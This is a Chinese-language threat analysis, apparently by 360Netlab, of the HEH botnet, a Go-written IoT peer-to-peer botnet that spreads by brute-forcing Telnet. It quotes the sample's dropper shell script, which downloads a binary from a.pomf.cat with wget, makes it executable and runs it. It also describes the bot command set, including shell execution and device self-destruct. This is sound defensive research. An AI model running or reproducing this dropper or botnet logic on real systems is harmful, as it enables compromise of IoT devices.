HEH Botnet, 一个处于开发阶段的 IoT P2P Botnet

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HEH Botnet, 一个处于开发阶段的 IoT P2P Botnet

概述

近期 360Netlab 未知威胁检测系统捕获到一批未知恶意家族的样本,这一批样本支持的 CPU 架构有 x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) 以及 PPC,经过我们分析,将其命名为 HEH Botnet。HEH 是一个由 Go 语言编写的 IoT P2P Botnet,它的 P2P 协议不基于公开的任何 P2P 协议,而是自研协议。HEH 现阶段会通过暴力破解 23/2323 两个端口的 Telnet 服务来传播,而不针对特定设备。

基于以下两点,我们认为它还处于开发测试阶段:

  1. 整个僵尸网络的运作机制还不太成熟;
  2. 部分指令还未实现。

根据 go_parser 的解析结果,我们捕获的 HEH 样本由 Go 1.15.1 构建,构建样本用到的源码文件列表如下:

/mnt/c/Users/brand/go/src/heh/attack.go
/mnt/c/Users/brand/go/src/heh/commands.go
/mnt/c/Users/brand/go/src/heh/structFun.go
/mnt/c/Users/brand/go/src/heh/cryptotext.go
/mnt/c/Users/brand/go/src/heh/httpserver.go
/mnt/c/Users/brand/go/src/heh/killer.go
/mnt/c/Users/brand/go/src/heh/main.go
/mnt/c/Users/brand/go/src/heh/network.go
/mnt/c/Users/brand/go/src/heh/peerlist.go
/mnt/c/Users/brand/go/src/heh/portkill.go
/mnt/c/Users/brand/go/src/heh/services.go
/mnt/c/Users/brand/go/src/heh/telnet.go

注意到该样本内部的项目名为 heh,正是因此,我们把它命名为 HEH Botnet。根据源码文件路径的特征,我们还可以确认的一点是,该家族样本是作者在 Windows 平台的 WSL 环境中构建而来。

功能简述

HEH Botnet 的样本包含三个功能模块:传播模块、本地 HTTP 服务模块和 P2P 模块。概要流程图如下:

详细分析

起始阶段

我们捕获的 HEH Botnet 样本最初由一个名为 wpqnbw.txt 的恶意 Shell 脚本下载并执行的,该恶意 Shell 脚本会依次下载并执行所有 CPU 架构的恶意程序,恶意脚本和二进制程序都托管在 pomf.cat 站点。wpqnbw.txt 的开头部分内容(后续内容类似):

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://a.pomf.cat/xggxyk
busybox wget hxxp://a.pomf.cat/xggxyk
chmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk "$1 3"

恶意样本启动时传入的参数,第一个参数为一个 IP 地址,默认是本机外网 IP,理论上也可以是某个 Peer 的 IP 地址;第二个参数为 Daemon Flag,如果设置该参数为 3,样本启动后将会以守护进程的方式运行。

样本启动后,会根据端口号 Kill 掉一系列服务进程:

然后,HEH 样本会在本地的 :80 端口启动一个 HTTP Server:

这个 HTTP Server 的初始状态会设置 :80/0 ~ :80/9 共 10 个 URI,对应 8 种语言的 《世界人权宣言》 和 2 个空内容。其中 :80/0 返回的是中文版的《世界人权宣言》:

8 种语言的《世界人权宣言》:

这些初始状态的《世界人权宣言》内容,很快就会被样本从 Peer 的 HTTP 服务端口拉取的数据覆盖掉,也可以通过 P2P 协议中的特定指令来更新这些内容。

P2P 模块

HEH Botnet 的 P2P 模块初始化时,有两个关键步骤:

  1. 初始化 Peer List 对象,该对象是一个 Slice 类型的全局变量,初始长度为 1000。Go 语言定义如下:
package main
import "net"

type Peer struct {
	addr                 net.UDPAddr
	expirationTimer uint8
}

var peerList []Peer

2. 更新 HTTP 响应数据。通过向 argv[1] :80 端口的 HTTP 服务请求 0~9 的 HTTP URI,来更新自己相应的数据。根据样本行为来看,后续这里更新的数据,是可执行的二进制文件

HEH Botnet 的 P2P 模块,主要由 3 个组件构成:

  1. Ping 组件:间隔 10s 每轮,每轮里隔 0.1s 依次向每个 Peer 的 UDP 服务端口发 Ping 指令;
  2. Peer 更新组件:间隔 10s 每轮,每轮里隔 0.1s 随机向一个 Peer 的 UDP 服务端口发 Peer Upate 指令,对端收到该指令后,会检查自己的 Peer List 是否已包含该 Peer 地址信息,不包含的话则把该 Peer 地址信息加入自己的 Peer List;
  3. UDP 服务监听组件:HEH Botnet 的本地 Peer 服务是一个 UDP 服务,该服务监听其他 Peer 发来的数据或指令,解析指令后进行相应的操作。

这里重点介绍 HEH Botnet 的 UDP 服务监听组件。该组件有两个关键功能点:UDP 服务端口号生成指令解析

HEH Botnet 的 UDP 服务端口不是固定不变的,也不是随机生成的,而是根据 Peer 自己的公网 IP 进行数字计算得出。HEH Bot 每次收到一个新 Peer 的 IP 地址,都会根据该算法计算出 Peer 的 UDP 端口,并把这些信息打包存入自己的 Peer List 中。该端口生成算法在函数 main.portGenerator() 中实现,关键部分如下:

HEH Bot 可解析的指令,分为两类:P2P 协议相关的功能指令(Protocol OpCode)和针对 Bot 的控制指令(Bot Cmd)。指令码位于 UDP 数据的第一个字节,分类如下:

OpCode指令长度(Bytes)意义操作
21Ping向 Peer 回一个 Pong 指令
31Pong
41Announce(声明自己是一个 Peer)将 Peer 信息加入自己 Peer List,向 Peer 再回一个 Announce
51PeerUpdate(要求对方更新自己的信息)更新 Peer List
1> 0x229控制 Bot 执行指定 Command解析并执行 Bot Cmd

当指令码为 1 的时候,代表该指令为针对 Bot 的控制指令码。此类指令前 0x229 Bytes 内容含义是固定的,其中依次包含校验用到的 Sha256 Value 和 PSS Signature,最后还有 8 Bytes 的额外校验字段;从 0x229 字节往后才是真正的指令数据。以 7 号 Bot Cmd(Cmd.UpdateBotFile) 为例,指令数据结构如下:

HTH Bot 针对收到的 Bot Cmd 数据的校验分 3 步:

  1. 检查指令数据的长度,以及 Extra Flag;
  2. 利用 PSS Signature 校验指令数据;
  3. 检查最后真实数据的 Sha256 Hash。

后两步逻辑如下所示:

其中,校验 PSS Signature 时用到的公钥为:

-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo
uBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm
jcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo
E0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA
3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX
uoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU
9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu
jPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y
33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI
n5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa
9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en
LW2/t1GOPfXptXtNmdzp01sCAwEAAQ==
-----END PUBLIC KEY-----

HEH Bot 支持解析的 Bot Cmd 有如下几个:

Cmd Code功能
0Restart: 重启 Bot
2Exit: 退出运行
3Attack: 发起攻击(未实现
4Execute: 执行 Shell 命令
5Print: 未实现
6PeerUpdate: 更新 Peer List
7UpdateBotFile: 通过指定一个文件下载链接,让 Bot 去下载并更新 Bot 持有的文件内容。该文件会被 Bot 用作 HTTP Response Data
8SelfDestruct: 启动设备自毁
9Misc: 未实现

目前来看,对整个 Botnet 最有用的功能是执行 Shell 命令、更新 Peer List 和 UpdateBotFile 这 3 个。代码中的 Attack 函数只是预留的空函数,并没有开始实现。由此可见,目前该 Botnet 还是处于扩张阶段,扩张后下一步的功能还没有实现。将来如果作者实现了其中的 Attack 指令,将会使 HEH Botnet 变得更加危险。

Bot 内解析 Bot Cmd 的函数为 main.executeCommand() ,该函数的整体结构如下:

另外,当 Bot Cmd Code 为 8 时,Bot 将会通过下面一系列 Shell 命令实施设备自毁:

传播模块——Telnet 服务暴力破解

在 Bot 把 P2P 模块运行起来之后,会以并行的方式执行针对 23,2323 两个端口的 Telnet 服务暴力破解任务,进而完成自身传播。

首先,Bot 会生成一个随机 IP 地址,然后会检查该 IP 地址是否 127.0.0.1

如果随即生成的 IP 地址不为 127.0.0.1,则会先对该 IP 进行扫描,如果在 23 或者 2323 端口开放了 Telnet 服务,就会进入暴力破解阶段。相关的函数如下:

暴力破解 Telnet 服务用到的口令字典以全局 Slice 变量的形式存在,其中用户名 171 个,密码 504 个:

如果暴破成功,Bot 会让实现主机来访问自己的 HTTP 服务,并执行通过 HTTP 相应获取的文件(即最新的 Bot 样本),从而完成传播:

总结

从 Bot 样本的分析结果来看,Bot 还有不少未完成的功能,有 3 个重要的指令功能并未实现。从它的网络结构来看,虽然 Bot 内部维护了一个 Peer List,并且 Peer 之间也有 Ping<–>Pong 通信,但 Bot 样本只能接收、解析控制指令,能向 Bot 发送真正的控制指令的,依然只有 Bot Master 一个人,即整个 Botnet 还是集中式控制模式。另外,通过本地 HTTP Server 来承载样本自身传播的机制还不完善。所以我们认为 HEH Botnet 还处于开发、测试的初期。

不过由于它支持的指令功能之丰富,内部代码清晰的模块化架构,以及还有破坏性极高的设备自毁功能,我们认为这是一个值得持续关注的 Botnet。

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Head of Operations (Banking), Director IT Governance, Teamlead Microsoft, Service Delivery Manager. Interested in Office 365, LAMP, IT Security and much more!